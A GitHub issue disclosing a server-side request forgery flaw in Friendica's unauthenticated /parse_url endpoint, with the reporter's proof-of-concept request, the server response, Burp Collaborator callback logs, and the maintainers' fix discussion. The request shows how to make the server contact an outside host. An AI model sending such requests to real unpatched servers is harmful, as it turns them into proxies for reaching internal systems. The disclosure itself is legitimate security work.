

New issue

[Jump to bottom](#)

# External service interaction (HTTP & DNS) #9929

 Closed

parad0x-0xff opened this issue on Feb 13, 2021 · 5 comments · Fixed by #9935

Assignees



Labels

Bug

Security

Milestone

 2021.03

parad0x-0xff commented on Feb 13, 2021

Hello Friendica Team.

## Issue detail

I found a vulnerability issue while testing friendica locally.  
It is possible to induce the application to perform server-side DNS lookups of arbitrary domain names and HTTP request.

## Bug Description

The ability to send requests to other systems can allow the vulnerable server to be used as an attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.

## Steps to Reproduce

The request:

```
GET /parse_url?binurl=73767274703267776f7375713063623539706668336f69366a78706e64632e62757270636f6c6626f7261746f722e6e65748_=1613263595343 HTTP/1.1
Host: 192.168.0.3
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
```

The response:

```
HTTP/1.1 200 OK
Date: Sun, 14 Feb 2021 03:02:34 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.27
Set-Cookie: PHPSESSID=9f79e6ff0575a2775860501f03d5095b; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Account-Management-Status: none
Vary: Accept-Encoding
Content-Length: 103
Connection: close
Content-Type: text/html; charset=UTF-8

[attachment type='link' url='http://svrtp2gwosuq0cb59pfh3oi6jxpndc.burpcollaborator.net']/[attachment]
```

The DNS and HTTP request received:

Poll Collaborator interactions

Poll every 60 seconds

Poll now

#	Time	Type	Payload	Comment
3	2021-Feb-14 02:49:47 UTC	DNS	svrtp2gwosuq0cb59pfh3oi6jxpndc	
4	2021-Feb-14 02:49:47 UTC	DNS	svrtp2gwosuq0cb59pfh3oi6jxpndc	
5	2021-Feb-14 02:49:49 UTC	HTTP	svrtp2gwosuq0cb59pfh3oi6jxpndc	
6	2021-Feb-14 02:49:50 UTC	HTTP	svrtp2gwosuq0cb59pfh3oi6jxpndc	
7	2021-Feb-14 03:04:05 UTC	HTTP	svrtp2gwosuq0cb59pfh3oi6jxpndc	
8	2021-Feb-14 03:04:03 UTC	DNS	svrtp2gwosuq0cb59pfh3oi6jxpndc	
9	2021-Feb-14 03:04:05 UTC	HTTP	svrtp2gwosuq0cb59pfh3oi6jxpndc	
10	2021-Feb-14 03:04:04 UTC	HTTP	svrtp2gwosuq0cb59pfh3oi6jxpndc	

Description

DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain name svrtp2gwosuq0cb59pfh3oi6jxpndc.burpcollaborator.net.  
The lookup was received from IP address 192.168.0.3 at 2021-Feb-14 03:04:03 UTC.

## More details

To make this request doesn't need to be authenticated, the friendica application accepts any request as an attachment and next do the DNS lookup and the HTTP request.

## Issue remediation

You should review the purpose and intended use of the relevant application functionality, and determine whether the ability to trigger arbitrary external service interactions is intended behavior. If so, you should be aware of the types of attacks that can be performed via this behavior and take appropriate measures.  
These measures might include blocking network access from the application server to other internal systems, and hardening the application server itself to remove any services available on the local loopback adapter. If the ability to trigger arbitrary external service interactions is not intended behavior, then you should implement a whitelist of permitted services and hosts, and block any interactions that do not appear on this whitelist.

## References

- [External service interaction \(DNS\)](#)
- [CWE-918: Server-Side Request Forgery \(SSRF\)](#)
- [CWE-406: Insufficient Control of Network Message Volume \(Network Amplification\)](#)

## Platform Info

This is Friendica, version 2021.01 that is running at the web location localhost  
The database version is 1384/1384, the post update version is 1383/.

- Apache/2.4.38 (Debian)
- PHP/7.3.27
- mysql Ver 15.1 Distrib 10.5.8-MariaDB, for debian-linux-gnu (x86\_64) using readline 5.2



**parad0x-0xff** added the `Bug` label on Feb 13, 2021

**MrPetovan** commented on Feb 14, 2021

Collaborator

Thank you for the detailed report. This endpoint doesn't need to be accessible without authentication and should be limited to authenticated users.

Beyond that, we do need this endpoint to be able to provide arbitrary link previews to users in their posts. The scope of allowed URLs is too wide to implement a meaningful allowlist. That said, we could cache the response for a while node-wide to prevent ping backs systems from gathering too much data.

So two improvements axes:

- Block access to anonymous users.
- For a given URL, cache the response for an hour.



**MrPetovan** added the `Security` label on Feb 14, 2021

**MrPetovan** self-assigned this on Feb 14, 2021

**parad0x-0xff** commented on Feb 14, 2021

Author

It's really nice hear that \o/

I got your point, the authentication on this endpoint will improve the security.  
But I'm still thinking about the DNS query is this really necessary?

For this specific endpoint I understood that is about giving an URL to share with others users.

But why the endpoint make a DNS and HTTP request before anyone click on the link?

Anyone with malicious thought could use any public server of friendica as proxy to send requests by them or as part of a botnet.

Another thing that I'd like to ask you is, may I proceed with the opening of a CVE?

**MrPetovan** commented on Feb 14, 2021

Collaborator

But I'm still thinking about the DNS query is this really necessary?

For this specific endpoint I understood that is about giving an URL to share with others users.

But why the endpoint make a DNS and HTTP request before anyone click on the link?

No, the point of this endpoint is to extract title, description and image from the target URL to create a link preview card in a post. As such it does have to do a DNS and HTTP request. However, making it authenticated will remove the opportunity to use for nefarious means by anonymous users, and caching the answer will prevent potential spam/tracking by severely limiting the amount of outgoing HTTP requests actually sent out when this endpoint is used.

Another thing that I'd like to ask you is, may I proceed with the opening of a CVE?

I have no idea what this means for us, can you please elaborate?

**parad0x-0xff** commented on Feb 14, 2021

Author

No, the point of this endpoint is to extract title, description and image from the target URL to create a link preview card in a post. As such it does have to do a DNS and HTTP request. However, making it authenticated will remove the opportunity to use for nefarious means by anonymous users, and caching the answer will prevent potential spam/tracking by severely limiting the amount of outgoing HTTP requests actually sent out when this endpoint is used.

Thanks for the explaining.

I have no idea what this means for us, can you please elaborate?

CVE, short for Common Vulnerabilities and Exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they mean a security flaw that's been assigned a CVE ID number.


Basically, having a CVE ID assigned to a specific vulnerability makes it easier for enterprises who uses your software to check for security issues. For you it means you guys care for security and are willing to let this vulnerability be part of a security database. Like MITRE wrote:

"CVE Records [...] provide reference points for data exchange so that cybersecurity products and services can speak with each other." - [MITRE Corporation](#)

**MrPetovan** commented on Feb 14, 2021

Collaborator

Thank you for your explanation, we don't have any presence with enterprises so it probably won't help anyone but it won't do us any harm either, please go forward if you feel it's warranted.

🔔  **MrPetovan** added this to the **2021.03** milestone on Feb 14, 2021

🔔  **MrPetovan** mentioned this issue on Feb 16, 2021

**Harden /parseurl #9935**

➔ Merged

 **annando** closed this as completed in **#9935** on Feb 19, 2021

🔔  **MrPetovan** mentioned this issue on Mar 12, 2021

**Issue 10019: Fix embedding of media objects #10038**

➔ Merged

#### Assignees

 **MrPetovan**

#### Labels

Bug Security

#### Projects

None yet

#### Milestone

2021.03

#### Development

Successfully merging a pull request may close this issue.

➔ **Harden /parseurl**  
MrPetovan/friendica

#### 2 participants

